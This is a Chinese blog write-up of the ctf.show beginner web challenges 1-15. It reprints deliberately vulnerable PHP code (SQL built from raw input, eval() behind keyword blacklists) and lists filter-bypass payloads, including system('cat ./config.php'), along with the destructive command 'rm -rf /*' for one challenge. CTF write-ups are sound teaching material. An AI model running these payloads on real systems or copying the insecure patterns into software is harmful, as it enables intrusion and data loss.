ctf萌新计划web1-15

太适合萌新了,都很基础,很奈斯

sql相关

web1

给出源码

 <html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

注意到sql语句没有任何的过滤,而且我们传入的id是字符串,这个点涉及到sql语句里的比较问题

字符串和整数比较的时候,字符串会转换成整数0,如下图(如果'1+2'为0,则输出1000,否则输出100)

所以我们的id设置为1+999即可绕过判断

payload如下

http://689cca25-253a-43bf-b254-b7a9b964ec86.chall.ctf.show/?id=1+999

web2

跟上题目一样,不过是过虑了加号和or而已,直接乘号不就行了(雾

http://b10b1117-d117-45bf-9efd-f414b3198cef.chall.ctf.show/?id=100*10

web3

 <html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
    }
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

过滤更加严格了,我是没想到什么用运算符凑1000的例子,只好找找sql的一些函数啥的

查阅资料有这么一个函数可以返回最大值

web4

函数也过滤了,但是没有过滤引号

http://5af6afe0-1ade-428f-aa63-1cef193c8449.chall.ctf.show/?id='1000'

web5

可以用二进制表示1000来绕过所有的判断,通杀了直接,前面也能这样做(

web6

web7

web8

 <html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html> 

不知道要干嘛,据说是个梗题,直接看了wp,传rm -rf /*即可

命令执行

web9

典型的命令执行

?c=system("ls");

直接看出当前目录下的文件

看看根目录有啥

?c=system("cat ./config.php");

找了好久都没有发现flag文件-.-,最后在config.php里面发现flag。。。

web10

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?> 

禁掉了system,exec,highlight,搜一下发现还有passthru函数可以用来执行系统命令,直接一把梭

web11

cat字符串被ban了,用less读即可

web12

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

把文件名和.都ban了,直接用通配符就好了(为什么这么简单

web13

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

把分号也给ban了

直接用标签闭合,就不需要分号了~

web14

把左圆括号给禁了,就不能用函数来做了,直接post个变量上去,用反引号来做命令执行

web15

把分号的过滤给去掉了,用14的payload梭出来就好了

posted @ 2021-01-05 20:34  lemon想学二进制  阅读(439)  评论(0编辑  收藏  举报